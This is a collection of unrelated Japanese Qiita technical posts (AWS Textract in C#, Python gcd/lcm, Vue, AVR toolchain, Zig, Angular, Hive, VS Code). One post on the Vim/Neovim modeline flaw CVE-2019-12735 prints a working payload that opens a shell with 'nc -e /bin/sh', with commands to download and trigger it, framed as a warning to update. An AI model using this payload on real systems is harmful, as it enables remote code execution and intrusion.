OmniAICreator/Qiita-1.07M huggingface dataset:
Amazon Textractで表を取得する（C#）

Amazon Textractが面白かったので、.Net Core環境で使ってみました。
2019/06/12現在まだ日本語の記事が全然ない（.Netにいたっては英語の記事もぱっと見た感じ無さそう）ので、誰かの参考になれば嬉しいな。

参考にしたAmazonのDocumentはこちら。
https://docs.aws.amazon.com/ja_jp/textract/latest/dg/how-it-works-analyzing.html
 
基本的に前回のDetect textと同じですが、表の結果が格納されている形式が少し難しかったので
別の記事にしました。
表の中身はBlockTypeがCELLのBlockに格納されているので、そこを見れば良いです。
だけどCELLにはTEXTが入ってないので、表の中身は子要素のIDから該当するBlockを引っ張ってくる必要があります。
インデクサでIDを引数にとってダイレクトに要素をとってこれる方法があると思って探したけど、ないんだよなぁ。
 


	public List<List<string>> table = new List<List<string>>();
	 
	public IActionResult OnPost(IFormFile Targetfile)
 
         using (var client = new AmazonTextractClient(awsCredentials, this.awsOptions.Region))
         {
                //Document処理用のバッファ用意
                Stream s = Targetfile.OpenReadStream();
                byte[] file = new byte[Targetfile.Length];
                MemoryStream ms = new MemoryStream(file);
                s.CopyTo(ms);
 
 
                //AWSに解析させるDocumentオブジェクトの準備
                Document doc = new Document();
                doc.Bytes = ms;
 
 
                //リクエストの作成
                 DetectDocumentTextRequest req = new DetectDocumentTextRequest();
                 req.Document = doc;
                req.FeatureTypes.Add("TABLES"); //表を解析するときはこれが必要です。
 
                //解析の実行
                 var response = client.AnalyzeDocumentAsync(req);
                 response.Wait();
 
                //結果はメンバ変数として定義したtableに格納されます。
                 foreach (var b in response.Result.Blocks)
                 {
                 if (b.BlockType == BlockType.CELL)
                 {
                                 foreach (var r in b.Relationships)
                                 {
                                 Block word = response.Result.Blocks.Find(delegate(Block block) {
                                                 return block.Id == r.Ids[0];
                                 });
                         if (table.Count < b.RowIndex) table.Add(new List<string>());
                         table[b.RowIndex-1].Add(word.Text);
                         }
                }
            }
 
 
※例によってエラー処理とか書いてません。気をつけてください。あと、表の取得の仕方もサンプル用に簡略化してます。ほんとは表が複数ある場合とかいろいろな場合を考慮する必要があります。


ちなみにハマったポイントとしては、このリンクにあるこの画像をキャプチャしてテストしてたんですけど、私の環境ではTextractでTableとして認識されませんでしたｗｗ（2019/6/12現在）
Documentのどこかに書いてあったのですが、それなりに高解像度である必要があるみたいです。

https://docs.aws.amazon.com/ja_jp/textract/latest/dg/how-it-works-analyzing.html

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435758/2e68618e-9ee9-31f5-e684-2a3816170136.png)
コマンドプロンプトの通知音にクリックノイズが入る謎

# 背景

コマンドプロンプト（Windows 10）からBash on Windowsを開いて次のコマンドを打つと、↑キー連打で `C:\Windows\media\Windows Foreground.wav` という通知音が次々と再生される。

```
$ echo | less
```

ここで、連打していると時々プツプツとノイズが聞こえることに気づいた。さらにキーを押しっぱなしにしているとﾌﾟﾌﾟﾌﾟﾌﾟﾌﾟﾌﾟﾌﾟﾌﾟ…と小さな異音が発生する。

# 調査

はじめはこの音声ファイル自体が先頭にバイアス成分が乗っているのだと思ったが、 `C:\Windows\media\Windows Foreground.wav` を見てみると特にそのようなクリックノイズを出すファイルではなかった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280627/e328a6f9-ac22-6d70-ce72-f7a90a038f10.png)

----

でもステレオミキサーを録音してみると、確かに↑キー押しっぱなしで警告音を連続で再生させるとクリックノイズが混じることがわかる。また、この異音は実際にスピーカーに対して出力されたものであるということが分かった（ディスクアクセスなどの機械的な音ではない）。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280627/7223095a-00ef-aa96-c84f-4350c5c555e9.png)

左右に拡大すると次のようになる。左のカーソルの右にあるのがﾌﾟﾂｯというノイズで、右にある波形が本来の警告音である。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280627/38c2798b-77af-b761-fd6c-1a2eef696f30.png)

上下に拡大するとこう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280627/ca590b94-72a4-90c9-b740-37138ed03e42.png)

連続してﾌﾟﾂﾌﾟﾂしているときの波形は以下のようになっている。ﾌﾟﾂﾌﾟﾂごとに警告音の先頭の波形が見えるので、再生し始めて途中で停止しているから聞こえるのかと思いきや、それでは説明のつかない謎のノイズがある。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280627/59d9e393-1b47-6e22-c38f-71254e56c651.png)

# 結論

一体これは何なんだ？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280627/bb08e890-9651-2719-c1c2-9568163b1de8.png)
python3でN個の整数の最小公倍数・最大公約数を求める

こんにちは。最近Pythonの勉強を始めて、[Pythonのお勉強　問題集](http://python.rdy.jp/wiki.cgi?page=%CC%E4%C2%EA%BD%B8)というサイトの問題を解いているのですが、知識の整理を兼ねてアウトプットしたいと思います。
今回は、N個の整数の最小公倍数・最大公約数を求める問題です。ちなみに初投稿です。
#2整数の最大公約数を求める
[Pythonのお勉強　問題集](http://python.rdy.jp/wiki.cgi?page=%CC%E4%C2%EA%BD%B8)では二つの数字の最大公約数をユークリッドの互除法を用いて解け、とあるのでまずそちらから。

```python:exmple.py
def euclid(a, b):
    while b:
        a, b = b, a%b
    return a
```
###再帰関数を使う（追記　2019/06/13)
再帰関数を用いた方がいいというコメントを頂いたので書いてみます。

```python:exmple.py
def euclid(a, b):
    if b == 0:
        return a
    else:
        return euclid(b, a%b)
```

#N個の整数の最大公約数を求める
やや応用としてN個の整数の最大公約数を求めてみたいと思います。
###functools.reduceを使う（追記　2019/06/13）
[functools.reduce](https://docs.python.org/ja/3/library/functools.html#functools.reduce)を使うと便利というコメントを頂いたので使ってみます。

```python:exmple.py
import functools


def gcd(nums):
    return functools.reduce(euclid, nums)


num = list(map(int, input().split()))
print(gcd(num))
```
このモジュールを利用することで、例えばnum = [1, 2, 3, 4]において、euclidの引数を(((1,2),3),4)といったようにして順に関数を実行することができます。

#2整数の最小公倍数を求める
最小公倍数は2整数を掛けた値を2整数の最大公約数で割ればいいので

```python:exmple.py
def multiple(a, b):
    return a*b // euclid(a, b)
```

#N個の整数の最小公倍数を求める
N個の整数の最大公約数のときと同様にfunctools.reduceを使って書いてみます。

```python:exmple.py
import functools


def lcm(nums):
        return functools.reduce(multiple, nums)


num = list(map(int, input().split()))
print(lcm(num))
```

#おわりに
引数を一つ前の実行結果に依存した繰り返し処理を実行したいときにfunctools.reduceがとても便利ですね。
コメントありがとうございます。
Vue.jsでinputタグを表示せずに任意のボタン押下でファイル選択DLGを表示させる

## はじめに
vue.jsに限ったことではありませんが、UIフレームワークを使用していて、標準のinputタグを配置すると見た目が統一できない（ブラウザによって変わる、UIフレームワークの見た目と統一性がない)点が気になるかと思います。

そこでinputタグを直接使用せずにファイルの選択ダイアログを表示させます。

左：通常のinputタグを用いた場合
右：inputタグを用いない場合
![btnsample.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149198/78680597-3e16-5098-b36d-e1bc6b7399d0.png)

## コード
※vuetifyを使用していますが、(v-xタグ)今回の説明と直接は関係は関係ありません。
他のフレームワークの場合、v-btnはそのフレームワーク等のボタンに置き換えてください。

```vuejs:sample.vue
<template>
  <v-container>
    // 非表示のinputタグを格納
    <input
      style="display: none"
      ref="input"
      type="file"
      accept="image/jpeg, image/jpg, image/png"
      @change="selectedFile()"
    >
    <v-layout text-xs-center wrap>
      // 略
      <v-flex xs12>
        <!-- ファイルの選択 -->
        <v-btn color="primary" @click="btnclick">select image</v-btn>
      </v-flex>
      // 略
    </v-layout>
  </v-container>
</template>
<script>
export default {
  data() {
    return {
      // 略
    };
  },
  methods: {
    // selectfileボタン押下時
    btnclick() {
      this.$refs.input.click();
    },
    async selectedFile() {
      this.isUploading = true;

      const file = this.$refs.input.files[0]
      if (!file) {
        return;
      }
　　　// 以下ファイルの操作

    }
  }
};
</script>
```

やり方としては、下記になります。

1. 非表示のinputタグを配置(refで参照できるようにしておく)
2. ボタンを配置してクリックイベントで1を参照してclickを呼び出す
AVRの開発環境を整える

### MacでAVRの開発環境を整える



準備：

```
>export PREFIX=/usr/local/core/avr-elf
>mkdir -p avr-elf/binutils
```

binutils-2.25.tar.bz2をインストール:

```
>wget http://ftp.gnu.org/gnu/binutils/binutils-2.25.tar.bz2
>tar -xjvf binutils-2.25.tar.bz2
>cd avr-elf/binutils
>../../binutils-2.25/configure --prefix=$PREFIX --target=avr --disable-nls
>make
>sudo make install
>../../
 
``` 

P.S 2019/5/13現在，MacOSX, 以下の環境で，binutils-2.32でコンパイルできている

```
>gcc --version
Configured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-include-dir=/usr/include/c++/4.2.1
Apple LLVM version 9.0.0 (clang-900.0.39.2)
Target: x86_64-apple-darwin16.7.0
Thread model: posix
InstalledDir: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin
```

- gccのインストール

準備：
パスの設定

```
>export PATH=$PATH:$PREFIX/bin
>echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/core/avr-elf/bin
```

- gcc-4.6.4のインストール：

```
>wget http://ftp.gnu.org/gnu/gcc/gcc-4.6.4/gcc-4.6.4.tar.bz2
>tar -xjvf gcc-4.6.4.tar.bz2
>cd gcc-4.6.4
>./contrib/download_prerequisites // gmp/mpfr/mpcをダウンロード
>../
mkdir -p avr-elf/gcc
>cd avr-elf/gcc
>../../gcc-4.6.4/configure --prefix=$PREFIX --target=avr --enable-languages=c,c++ --disable-nls --disable-libssp --with-dwarf2
>make
>sudo make install

```

gmp/mpfr/mpcはこの順番でインストールする．ただし，download_prerequisitesを実行すると，必要なファイルをダウンロードしcontrib以下に展開してgccのコンパイルと同時に作ってくれる[本家](https://gcc.gnu.org/wiki/InstallingGCC)

P.S 2019/5/13現在，gcc-4.8.5まではコンパイルできる．4.9になると，コンパイルエラー(on Mac)

- avr-libcのインストール

```
>wget http://download.savannah.gnu.org/releases/avr-libc/avr-libc-1.8.1.tar.bz2
>tar -cjvf avr-libc-1.8.1.tar.bz2
>cd avr-libc-1.8.1
>export PATH=$PATH:$PREFIX/bin  //avr-asなどにパスを通すため
>./configure --prefix=/usr/core/avr-elf --build=`./config.guess` --host=avr
>make
>sudo make install
```

P.S 2019/5/13現在，avr-libc-2.0.0まではコンパイルできる(on MacOSX)．

- avr-gdbのインストール
gdbはなるべく最新版を手に入れる(2016年7月時点で7.11)．

```
>wget http://ftp.gnu.org/gnu/gdb/gdb-7.11.tar.gz
>tar -xzvf gdb-7.11.tar.gz
>mkdir -p avr-elf/gdb
>cd avr-elf/gdb
>../../gdb-7.11/configure --prefix=/usr/core/avr-elf --target=avr --disable-nls
>make -j2
>sudo make install
```

P.S 2019/5/13現在，gdb-8.3まではコンパイルできる(on MacOSX)．
PHP言語所感:あるパッケージをカスタマイズして感じたこと

ある業務でPHP(Symfony)で開発されたパッケージを他システムとデータを同期させるためにカスタマイズする機会がありました。

あまり深くは触ってないのですが、それでも辛かったことがいくつかありました。

他のオブジェクト指向言語に慣れているからというのもあるのですが、頻繁に「あれ？」となりました。

# 辛かったこと

- メソッド呼び出しが`.`(ドット)でなく`->`(アロー演算子) ・・・タイプ数が多い、間違える。コンパイルエラーならずに実行エラー
- 文字列連結の演算子が`.`(ドット)・・・頻繁に`+`と間違える。コンパイルエラーにならずに実行エラー
- 同じクラスのメソッドを呼び出すのに`$this->`が必要・・・忘れる
- 謎（直感的でない）の構文・・・例えば配列へのアペンドは`array[] = value` え？！
- PHP DEBUGが激重・・・Javaのデバッガより遅い。 ※Symfonyの問題かも

「極めよう」とするともっと出てくるのでしょうね。
サーバサイドのシステムをゼロから開発するときの選択肢にはなりえないと感じました。（小～中規模ならPython、中～大規模ならJavaかな）

# 良いこと

とはいえ、簡単にサーバに設置できるのはいいですね。

PHP言語自体のドキュメントは検索機能も含めてしっかりしてますし。

Wordpress（とそのプラグインエコシステム）がある限りメジャー言語の１つであり続けると思いました。
ziglang

* 公式サイト https://ziglang.org/
* [Tetris - Zig製のテトリス MOONGIFT](https://www.moongift.jp/2019/06/tetris-zig%e8%a3%bd%e3%81%ae%e3%83%86%e3%83%88%e3%83%aa%e3%82%b9/)

## インストール

```sh
sudo snap install --edge zig --classic
```

## testの仕方

```go:test.zig
test "integer overflow at compile time" {
    const x: u8 = 255;
    const y = x + 1;
}
```

```go
zig test "test.zig"
```

## コンパイル、実行

```go:hello.zig
const std = @import("std");

pub fn main() void {
    std.debug.warn("Hello, world!\n");
}
```

```
zig build-exe "hello.zig"

./hello
```

> Hello, world!

### バイナリを小さくする

```sh
zig build-exe "hello.zig" --release-small
```

* 544K が 350K に縮まりました。少し時間がかかるかも。


### クロスコンパイル

```sh
zig build-exe "hello.zig" --release-small \
  -target x86_64-windows
```

* hello.exe が生成される。
* 5.0K と小さい。


## サンプルコード

### グローバル変数

```go:global_variables.zig
// 共通関数
const std = @import("std");
const assert = std.debug.assert;

// 足し算
fn add(a: i32, b: i32) i32 {
    return a + b;
}

// add関数を呼んでみる
const x: i32 = add(12, 34);
var y: i32 = add(10, x);

// グローバル変数
test "global variables" {
    assert(x == 46);
    assert(y == 56);
}

// main関数。コマンドラインから実行した時、ここの中身が実行される。
pub fn main() void {
}
```

```sh
zig test "global_variables.zig"
zig build-exe "global_variables.zig"
./global_variables.zig
```
Vim or NeoVimを使っている人は、すぐにアップデートしましょう [CVE-2019-12735]

結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。

対応するVimのバージョンなどは以下のとおりです。

```sh
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type:    Arbitrary Code Execution
CVE:     CVE-2019-12735
Date:    2019-06-04
Author:  Arminius (@rawsec)
Option:  :set modeline(false)
```

![](https://camo.githubusercontent.com/12bccf0112d4c05f2a26ac528f92ae4fe50575fd/68747470733a2f2f692e696d6775722e636f6d2f387734747465582e676966)

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、`nc(netcat)`でサーバーを起動し、そこに接続します。特別に細工されたテキストファイルを開くことによって、modelineを介して任意のコードを実行できる脆弱性ということらしいです。

```sh:shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D 
```

```sh
$ mkdir -p tmp
$ cd tmp
$ touch {1..2}

$ sudo pacman -S neovim --noconfirm
$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.txt
---------------
$ nc -vlp 9999
ls
1
2
```

neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。
Angular CDK を使ってtoastをつくってみよう！その1

## 最終目標
この記事ではAngular CDKのoverlayを使って、メッセージと表示時間を指定できるtoastを作ります（[live example](https://stackblitz.com/edit/angular-toast-fusho)）
作り終わってから、これはsnack-barなのでは？と思ったのですが、名前を変えるのが面倒だったのでここではこういうのをtoastと呼ぶことにします。

cdk自体やcdkのoverlayについてはこちらの素晴らしい記事を読んでおくとよいでしょう
[Angular Component Dev Kit 入門](https://qiita.com/Quramy/items/caf015e56d536411d4ba)
 
## その1（この記事）でできるもの
「いでよトースト」ボタンを押すと、画面中央下部にトーストっぽいものが2秒間表示されます。
<img width="490" alt="スクリーンショット 2019-06-10 18.36.32.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212115/877d3e93-9cff-311a-a4bf-4686863ba3b3.png">



## 準備
angular CLIでng newした後に、toast表示に必要なcdkやanimationを使う準備をします
ライブラリのインストール

```
npm i @angular/cdk
```

app.moduleにインポート

```src/app/app.module.ts
import { OverlayModule} from '@angular/cdk/overlay';
import { PortalModule} from '@angular/cdk/portal';
// animationはこの記事ではまだ使いませんが、後々使います！
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';

...

@NgModule({
  imports:      [... , OverlayModule, PortalModule, BrowserAnimationsModule ],

```

overlay用のcssをインポート

```src/styles.css
@import "~@angular/cdk/overlay-prebuilt.css";
```

## toast component（overlayの中身）の作成
toastとして表示するcomponentをつくります。

```
ng generate component toast
```

app.moduleのentryComponentsに登録します。
toast componentはテンプレートから呼ばず、動的にロードするためentryComponentsへの登録が必要になります。

```src/app/app.module.ts
@NgModule({
...
entryComponents: [ToastComponent]
})
```

## overlayの表示

さっそくToastComponentを表示してみましょう

```src/app/app.component.ts
import { Overlay } from '@angular/cdk/overlay';
import { ComponentPortal } from '@angular/cdk/portal';

import { ToastComponent } from './toast/toast.component';

...

constructor(private overlay: Overlay){ }

  open() {
    const overlayRef = this.overlay.create();
    overlayRef.attach(new ComponentPortal(ToastComponent))
  }
```

```src/app/app.component.html
<button (click)="open()">いでよトースト</button>
```

「いでよトースト」ボタンをクリックすると、左上に'tast works!'と出てきます。
でも、ボタンに被ってしまって見づらいですね。とりあえず背景と文字に色をつけましょう。

```src/app/toast/toast.component.css
:host {
  background-color: black;
  color: white;
}
```

続いて位置が悪いので、最終目標と同じ画面下部の中央あたりに変更します。
overlay.create()関数の引数に、OverlayConfigクラスのインスタンスを渡すことで位置の指定ができます。
OverlayConfigは他にも設定できる項目がありますが、今は表示位置に関するpositionStrategyだけ設定します。

```src/app/app.component.ts
import { Overlay, OverlayConfig } from '@angular/cdk/overlay';

...

open() {
  const config = new OverlayConfig({
    // 表示位置に関する設定
    positionStrategy: 
      // 画面全体に対して水平方向は中心・垂直方向は下から5%のところに
      this.overlay.position().global().centerHorizontally().bottom('5%'),
});
  const overlayRef = this.overlay.create(config);

...
}
```
「いでよトースト」をクリックするとトーストっぽいものが表示されました！

## toastの非表示
このままでは表示されっぱなしなので、表示された2秒後にtoastが消えるようにしましょう。

```src/app/app.component.ts
    ...
    overlayRef.attach(new ComponentPortal(ToastComponent));

    setTimeout(() => {
      overlayRef.detach();
    }, 2000);
    ...
```
これでトーストがパッと消えるようになります。

## 次回
とりあえずトーストっぽいものはできましたが、動きがありません。
次回は、画面下から出たり引っ込んだりするアニメーションを追加します！
ベンチャーキャピタル、クラウドファンディング、公的資金

新しい事業を展開するにあたって、ベンチャーキャピタル、クラウドファンディング、公的資金のそれぞれを利用されている方とお話しをする機会があった。

# ベンチャーキャピタル

数年後に大きく儲かるという計画を出して欲しいとのこと。

投資額の１０倍から１００倍、数年後にあがるような。

たしかに１０倍、１００倍売れる努力をしてみて、うまくいかなかったらその原因に対策をすればよい。

努力をせずには、売れない原因はわからないかもしれないし、対策も立てられないかもしれない。

そこそこ売れることを前提にした場合は、中小企業型といって地道に増えていく企業には、ベンチャーキャピタルとしては投資しづらいとのことでした。

# クラウドファンディング

投資額と売り上げがとんとんくらいを狙うのなら、クラウドファンディングがお勧めらしい。

潜在的購買層から出資を受けて、販売先にもなってもらい、初期の投資がすぐに回収できれば、次の製品化の知恵出しもしやすい。


# 公的資金

科学技術系と、産業系でそれぞれ枠がある。

課題としては、似たような題材で、あちこちの窓口で通っていて、競争力がどれくらいあるかがわかりにくいことがある。

実用化の目処がたっていないから、公的資金で研究開発するのだろう。


最近の制度だと、数年以内に儲かれば、投資額まで返却する制度ができたらしい。

公的資金の課題は、発案から資金が出るまでに１年以上かかる場合があるなど、手間がかかることかもしれない。

# 文書履歴(document history)
ver. 0.01 初稿 20190612
ver. 0.04 URL追記　20230226

### 最後までおよみいただきありがとうございました。

いいね　💚、フォローをお願いします。

####  Thank you very much for reading to the last sentence.

Please press the like icon 💚　and follow me for your happy life.
xlwingsでR1C1参照形式を使う

xlwingsのrangeのセル参照は、A1形式は使えるが、R1C1形式は使えない。

```python
import xlwings as xw

xw.Range('A1')   #これは○
xw.Range('R1C1') #これは×
```

仕方ないので、関数で一度A1形式に変換して、Rangeに渡す。以下の関数を定義。

```python
import xlwings as xw

def toA1(R1C1):
    # Excelが起動している必要あり
    return xw.apps[0].api.ConvertFormula(R1C1, -4150, 1, 4)
```
使用例

```python
xw.Range(toA1('R1C1:R3C4'))
# xw.Range('A1:D3')と同じ
```

以下を参考にしました。
[R1C1形式をA1形式に変換する](http://yumem.cocolog-nifty.com/excelvba/2009/12/r1c1a1-17ac.html)
hiveの使い方メモ

#Table

## CREATE TABLE
###table2と同じ構造のtable1を作る
```
CREATE TABLE table1 LIKE table2;
```

##ALTER TABLE
###テーブル名の変更
table_nameをnew_table_nameに変更する

```
ALTER TABLE table_name RENAME TO new_table_name;
```

#SELECT

##文字列操作
###文字の結合
区切り文字を入れない場合の文字結合(CONCAT)。
引数にNULLが1つでも来ると、結合した文字列もNULLになる。

```
SELECT CONCAT(string_a, string_b, ...) FROM table_name;
```

###SPLIT
指定のデリミタで、カラムを配列に変換する。index_numberは0始まり。

```
SELECT SPLIT(column_name, 'delimiter')[index_number] FROM table_name;
```

##条件式(WHERE句)
###LIKE
search_wordでワイルドカードを使いたい場合は「%」を使う

```
SELECT * FROM table_name WHERE column_name LIKE 'search_word';
```

## WITH

WITHを使うとサブクエリを利用せずにSELECTの結果をテーブルの様に扱える。同じSQL内で何度もSELECT結果を利用する場合に便利。

```
WITH tmp_table_1 as (
  SELECT
    *
  FROM table_name
)

SELECT * FROM tmp_table_1
```

WITHで複数のテーブルを定義することもできる。

```
WITH tmp_table_1 as (
  SELECT
    *
  FROM table_name
),
tmp_table_2 as (
  SELECT
    *
  FROM table_name
)

SELECT *
FROM tmp_table_1 a
JOIN tmp_table_2 b
ON a.col_name == b.col_name
```

#INSERT

###SELECTした結果を保存する
```
INSERT OVERWRITE TABLE insert_table_name
SELECT [column_name ...] FROM select_table_name
```


#LOAD
###ファイルのデータを、テーブルに上書き保存する
```
LOAD DATA LOCAL INPATH 'file_path' OVERWRITE INTO TABLE table_name;
```

# SQL内の変数(hivevar)

```
SET hivevar:begin_date=2019-01-01;
SET hivevar:end_date=2019-01-31;

select * from table_name
where col_name between ${hivevar:begin_date} and ${hivevar:end_date} 
```
自分用メモ: 解剖React Hooks

とりあえずreactのソース読んだが以下の記事の内容で合っている。
https://gist.github.com/mizchi/fa00890df2c8d1f27b9ca94b5cb8dd1d

しかし、あの記事だけではどうしてもわからなかった所があった。
hooksのライフサイクルだ。
カーソルはグローバル？
グローバルの場合どうやって現在のhooksのカーソルにこのコンポーネントの続きですよって伝えてコントロールするんだろう？...etc

## 調べた結果 (力尽きたのでこの辺までが限界だった
カーソルはグローバルだった。prodやdevでカーソルを使い分けてた。
また、workInProgressとかisFirstとかグローバル変数使いまくってた。

1. renderを実行する時にhooksのカーソル位置を初期化してる
2. もしfirst renderなら、hooksで素直に初期化させる
3. もし2回目以降のrenderならそのhooksを続かせるのに必要な情報を渡して引き継いでいる。 (専用のrenderWithHooksとupdate用の関数等ある
4. renderWithHooksとかの判定は、hooksを使った場合は痕跡が残るからそれで使い分けてると思う。そして、その痕跡を次回用にどっかに引き継いだりしてんじゃないかな。(力尽きた
4. とりあえずこういう奴の実装を手っ取り早く見たいだけなら、evanさんがちょちょっと書いたvue hooksのコードが結構参考になる。実装は違うけど概念はほぼ同じだと思う。https://github.com/yyx990803/vue-hooks/blob/master/index.js
pythonをストレスなく使う！（generatorに詳しくなる。since1975らしい。)

#目的
　**pythonをストレスなく使う！**
そのためには、少しでも、理解のレベルを上げる必要あり。
なんでも、こだわって、、、、理解を深める。
ここで記載しているのは、
**generatorに詳しくなる。since1975らしい。**です。

generatorを理解するために、３、４時間、いろいろ調べた。

以下のような記載がある。

（出典： 「入門 Python3」オライリー・ジャパン )
>ジェネレータがあれば、シーケンス全体を作ってメモリに格納しなくても、（巨大になることがある）シーケンスを反復処理できる。

説明は、よくわかるが、印象がやや弱いので、記憶に残らない気もしたので、
少し、調べてみた。
（想像力のある人は、素直な印象の薄い説明からでも、精力的な使い方が浮かぶのだろうと思いますが、ワタシは、ちょっと、無理です。このあたりは、才能が。。。）

#調べてたどり着いたもの１（サンプル）
以下、ジェネレータ関数を使って「素数」を求めている。
よく、フィボナッチ数列を求める説明をみるが、フィボナッチ数列、あまり使わないのでは？
100歩譲ると、「素数」は使うことがある気がする。


(出典: https://en.wikipedia.org/wiki/Generator_(computer_programming)  )
  ※一部、体裁変更あり。

```sosu.py
def primes():
    n = 2
    p = []
    while True:
        if not any( n % f == 0 for f in p ):
            yield n
            p.append( n )
        n += 1
f = primes()
print(next(f))
print(next(f))
print(next(f))
print(next(f))
```

上記の例、面白いですよ。
ジェネレータのメリットとして、大きなリストをつくらない、appendしないというような説明がよくあるのですが、「素数」の都合で、appendしている。
いい例だと思うが。。。。

#調べてたどり着いたもの２（歴史：since1975）
***1975年に現れたらしい。***

(出典： https://en.wikipedia.org/wiki/Generator_(computer_programming) )
>Generators first appeared ***in CLU (1975)***, were a prominent feature in the string manipulation language Icon (1977) and are now available in Python, C#,Ruby, the later versions of ECMAScript (as of ES6/ES2015) and other languages. In CLU and C#, generators are called iterators, and in Ruby, enumerators. 

#調べてたどり着いたもの３（定義方法、実装）
## 定義方法
関数内に、「yield」があるだけで、generator関数になる。
***なんという、、、定義のされ方、処理方法の変化の大きさ！***

## 実装方法
***関数の途中で戻ってきて、また、そこから繰り返すというのが、凄すぎるが。。。。***
実装は、以下のようらしい。
そうなりますよね。
→すごいもの提供するな。。。。

(出典: https://docs.python.org/ja/3/reference/expressions.html )
>開始されると、最初の yield 式まで処理して一時停止し、呼び出し元へ expression_list の値を返します。ここで言う一時停止とは、ローカル変数の束縛、命令ポインタや内部の評価スタック、そして例外処理のを含むすべてのローカル状態が保持されることを意味します。再度、ジェネレータのメソッドが呼び出されて実行を再開した時、ジェネレータは yield 式がただの外部呼び出しであったかのように処理を継続します。

#まとめ
generatorをうまく使おうと思います。


#関連（本人）
[pythonをストレスなく使う！（Pythonでは、すべてがオブジェクトとして実装されている)](https://qiita.com/enoughspacefor/items/0c6118da4c228226a65f)
[pythonをストレスなく使う！（Pylintに寄り添う)](https://qiita.com/enoughspacefor/items/df692b27bb58ca1ffa1d)
[pythonをストレスなく使う！（ExpressionとStatement)](https://qiita.com/enoughspacefor/items/1a11f553c265a2c703f2)
[英語と日本語、両方使ってPythonを丁寧に学ぶ。](https://qiita.com/enoughspacefor/items/d4b49747773e2d0285f9)

#今後
コメントなどあれば、お願いします。:candy:
勉強します、、、、
【Visual Studio Code】コマンドからVS Codeを起動できない場合 (Mac編)

皆さん、こんにちは。戸倉彩です。

Visual Studio Code(以下、VS Code)をインストール後、どのように起動していますか？ VS Codeではいくつかの起動方法が用意されています。

## **【代表的なVisual Studio Code起動方法】**
・スタートメニューからアプリケーション名をクリック
・Dockやショートカットに登録したアイコン画面をクリック
・コマンドラインで `vscode .` を実行する

Windows環境の場合、インストール時にPATHを通してくれるのでとくに何もしなくてもコマンドラインからVS Codeを起動させることができますが、MacやLinuxの環境の場合、PATHを通す作業が必要になります。今回は、Mac環境での操作方法をご紹介します。

## Mac環境でターミナルから起動できない場合の対処法
ターミナルから `vscode .`を実行し、PATHが通ってない場合には`-bash: vscode: command not found`というメッセージが返ってきます。
<img src="https://qiita-image-store.s3.amazonaws.com/0/146388/02eb4ecc-9e4e-0026-70ea-c837d31cdcbd.png" width="400">
### **【対処方法その１】**
1. VS Codeをいったんアプリケーションから起動する。
2. コマンドパレットで **Shell** と入力し、シェルコマンドのメニューを表示する。
3. 「**シェルコマンド: PAHT内にVS Codeをインストールします** (Shell Command: Install `code` command in PATH)」を選択する。
<img src="https://iv6pdg.by.files.1drv.com/y4mjHiOxeXFFIbVjyIdTwX1aWWlikFVCHTci2KGKm-wNOjUUVp9FasG-xZyNfXieTqLlHVxNOcHKiX35YjqMIECy5O4ZinYupnoE2jiz9xae3lbsCi1QYINiG7d_c1CvA1cemT5s_dv_F0LXP7qAaYtoscWc0GQ9GQ5wRzA0yWujiwu2Ws-TcWYKHfOw705gjWdCkhGn8lFXRw-Tk1dND_nWQ?width=1275&height=718&cropmode=none" width="600">
4. インストールされると「**シェルコマンド'code'がPATHに正常にインストールされました。**」トーストメッセージが表示されます。
<img src="https://iv6odg.by.files.1drv.com/y4mvf9GkGAcjzB4PnHu-eddFpxjxqZkcRBQ0OCwYV_PU7h2uOd_1sXNNUKBDsPo73B94W4Q8-NIYe3JSE42xt_IKJfBSEAfzJj-r1raAuWok7ZHnv6IjqFbZ3ALlZ8Dl-vapQDIs6gHdSuwEvM7CvxqNCF7PyWa2lzTcq3wwOpkPvgMt4siLvoXDt8H3X1APh20aa31bfYEjifB785t5XDR3Q?width=1500&height=770&cropmode=none" width="600">

### **【対処方法その２】**
1. ターミナルから下記のコマンドを実行する。  
`vi ~/.bash_profile`
2. 下記を追加し、保存します。  
※過去の古いバージョンのVS CodeのPATHが残っている場合にはコメントアウトまたは削除してください。

```
# Add Visual Studio Code (code)
export PATH="\$PATH:/Applications/Visual Studio Code.app/Contents/Resources/app/bin"
EOF
```

以上です。

## 参考文献
* [Visual Studio Code - Launching from the Command Line](https://code.visualstudio.com/docs/setup/mac)

## Have a nice Geek Life♪
※Twitterで最新情報発信中 @ayatokura 
※Software Design雑誌 (技術評論社) 2018年10月号から連載記事「Visual Studio Code快適生活」スタートしました✨
【Visual Studio Code】Visual Studio Code Stable版/Insiders版を呼び出すコマンド

皆さん、こんにちは。戸倉彩です。

Visual Studio Code をコマンドから実行する場合の備忘メモです。

### VS Code Stable版の場合
```
code .
```

### VS Code Insiders版の場合
**code**ハイフン**insiders**スペース**ぽち**です。(個人的には、アンダースコアと間違えて打ってしまう時があるので気をつけたい。)

```
code-insiders .
```

